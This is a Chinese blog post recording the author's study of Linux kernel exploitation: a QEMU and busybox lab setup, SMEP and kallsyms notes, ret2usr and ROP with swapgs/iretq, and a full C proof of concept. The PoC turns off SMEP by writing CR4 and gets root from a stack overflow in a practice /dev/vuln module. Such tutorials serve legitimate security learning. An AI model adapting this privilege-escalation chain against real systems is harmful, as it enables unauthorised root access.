<
linux kernel 爬坑记录
>
上一篇

N1CTF的两道简单的pwn题
下一篇

twctf BBQ

linux kernel 爬坑记录

好久以前就觉得研究二进制安全kernel方面一直是一个大坑,最近跟着网上的教程看了一下,记录一下所学的以及一些坑

主要参考的链接是这个

安装qume

sudo apt-get install qemu qemu-system

内核安装与编译

https://mirrors.edge.kernel.org/pub/linux/kernel

到这个网站上找一个内核版本,wget下来(我这里是用的4.4.11)

而后

tar -zxvf 文件名.tar.gz
cd linux-4.4.11/
apt-get install libncurses5-dev build-essential kernel-package
make menuconfig

配置一些选项,主要就是:

KernelHacking –>

Processor type and features–>

KernelHacking–>

搞完之后

make
make all
make modules

之后还要安装busybox来启动内核

cd ..
wget https://busybox.net/downloads/busybox-1.29.3.tar.bz
tar -jxvf busybox-1.29.3.tar.bz2
cd busybox-1.29.3
make menuconfig  
make install

一些相关的配置

make menuconfig 设置

Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成 静态文件

关闭下面两个选项

Linux System Utilities -> [] Support mounting NFS file system 网络文件系统 Networking Utilities -> [] inetd (Internet超级服务器)

构建文件系统

cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS

在rcs文件里写入一下内容:

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s

而后

chmod +x etc/init.d/rCS
find . | cpio -o --format=newc > ../rootfs.img

这样配置过程就完成了,qemu就可以启动内核了

root@s3cunDa:/# qemu-system-x86_64 -kernel /pwn/kernel_test/linux-4.4.11/arch/x86/boot/bzImage -initrd /pwn/kernel_test/busybox-1.29.3/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep,+smap --nographic -gdb tcp::1111

挂载了tcp端口,我们就可以利用gdb调试内核了,在调试之前输入gdb -q vmlinux的路径,这样调试的时候就会有相应的符号,进入gdb后输入remote target 端口号就可以调试了

##一些基本的利用方式

ROP

主要利用的是刚才链接里面的文件,挂载的时候直接将里边的bzImage和rootfs加到命令里边就好了

漏洞函数写的很干脆利落,漏洞店就在write函数:

static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
  char buffer[100]={0};

  if (_copy_from_user(buffer, buf, len))
    return -EFAULT;
  buffer[len-1]='\0';

  printk("[i] Module vuln write: %s\n", buffer);

  strncpy(buffer_var,buffer,len);

  return len;
}

可以看到copyfromusr函数两个参数都是我们可控的,buffer不可控但是长度是固定的,可以栈溢出

再看一下其栈的布局

-000000000000007C buffer          db 100 dup(?)
-0000000000000018 anonymous_0     dq ?
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  r              db 8 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables

直接可以栈溢出rop一把梭

但是问题在于rop怎么找,执行什么指令

在内核空间提权的话不能仅仅是简单的system(“/bin/sh”),而是需要将我们从ring3转换到ring0,其中的一种基础的方法就是commit_creds(prepare_kernel_cred(0))但是在这之前需要关闭smep

smep

smep就是防止内核执行用户控件的代码的一种保护机制

检查smep是否开启:

/ # cat /proc/cpuinfo | grep smep
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl pni cx16 hypervisor smep smap

smep位于CR4寄存器的第20位,设置为1

关闭SMEP方法 修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX=”“,加上nosmep/nosmap/nokaslr,然后update-grub就好。

关于如何获取一些函数的地址

kptr_ restrict指示是否限制通过/ proc和其他接口暴露内核地址。

正常情况下我们可以通过命令cat /proc/kallsyms获取函数地址

如果我们需要关闭限制的话需要如下命令:

sysctl -w kernel.kptr_restrict=0

而后cat /proc/kallsyms grep commit_creds就可以得到地址了

ret2usr攻击

ret2usr利用了用户空间进程不能访问内核空间,但是内核空间能访问用户空间这个特性来重定向内核代码或数据流指向用户空间,并在非root权限下进行提权。

具体地方式是这样:

int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
commit_creds = 0xffffffffxxxxxxxx;
prepare_kernel_cred = 0xffffffffxxxxxxxx;
void escalate_privs() { commit_creds(prepare_kernel_cred(0)); }  //获取root权限

stuct cred —— cred的基本单位 prepare_kernel_cred —— 分配并返回一个新的cred commit_creds —— 应用新的cred

具体地rop构造方式

主要问题有:

1.内核smep地绕过

2.内核和用户不共享同一个栈

rop链的主体形式是这样的:

|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret    |
|----------------------|
| addr of              |
| commit_creds()       |<== high mem
|----------------------|

很直观很好理解,但是相应的gadget寻找的方式与一般的二进制文件不同:

首先使用extract-vmlinux脚本来解压/boot/vmlinuz*这个压缩内核镜像。extract-vmlinux位于/usr/src/linux-headers-3.13.0-32/scripts目录。 用这个命令解压vmlinuz并保存到vmlinux:

sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux

之后就可以用ROPgadget来获取gadget了,最好是一次性把gadget都写到一个文件中。

ROPgadget –binary vmlinux > ~/ropgadget

之后我们需要返回用户空间执行代码,

利用的是一下两个指令

swapgs
iretq

swapgs 使用的基本环境

首先,swapgs 指令的使用是基于 syscall/sysret 这种“快速切入系统服务”方案而带来的附加指令,这种方案下包括:

swapgs 指令目的是通过 syscall 切入到 kernel 系统服务后,通过交换 IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块

正常的话切换用户态和内核态而后返回需要两次swapgs,这里用了一个swapgs就达到了stackpivot的作用。

关于iretq

使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。 iretq的堆栈布局如下:

|----------------------|
| RIP                  |<== low mem
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。

最后的rop:

|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret         |
|----------------------|
| addr of              |
| commit_creds()       |
|----------------------|
| mov rdi, rax ;       |
| call rdx             |
|----------------------|
| swapgs;              |
| pop rbp; ret         |
|----------------------|
| 0xdeadbeefUL         |
| iretq;               |
|----------------------|
| shell                |
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

poc:

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;

unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b;  //pop rbp, ret


unsigned long mmap_base = 0xb0000000;

void get_shell() {
    system("/bin/sh");
}


void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0\n" // mov rcx, cs
        "movq %%ss, %1\n" // mov rdx, ss
        "pushfq\n"        // 把rflags的值压栈
        "popq %2\n"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}



int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/vuln", O_RDWR);
    if (fd == -1) {
        printf("open /dev/vuln device failed!\n");
        return -1;
    }
    
    save_stats();
    printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
    // 布局 rop 链
    unsigned long rop_chain[] = {
        pop_rdi_ret,
        0x6f0,
        rdi_to_cr4, // cr4 = 0x6f0
        mmap_base + 0x10000,
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        mmap_base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        mmap_base + 0x10000,
        user_ss
    };

    char * payload = malloc(0x7c + sizeof(rop_chain));
    memset(payload, 0xf1, 0x7c + sizeof(rop_chain));
    memcpy(payload + 0x7c, rop_chain, sizeof(rop_chain));
    write(fd, payload, 0x7c + sizeof(rop_chain));
    return 0;
}
Top
Foot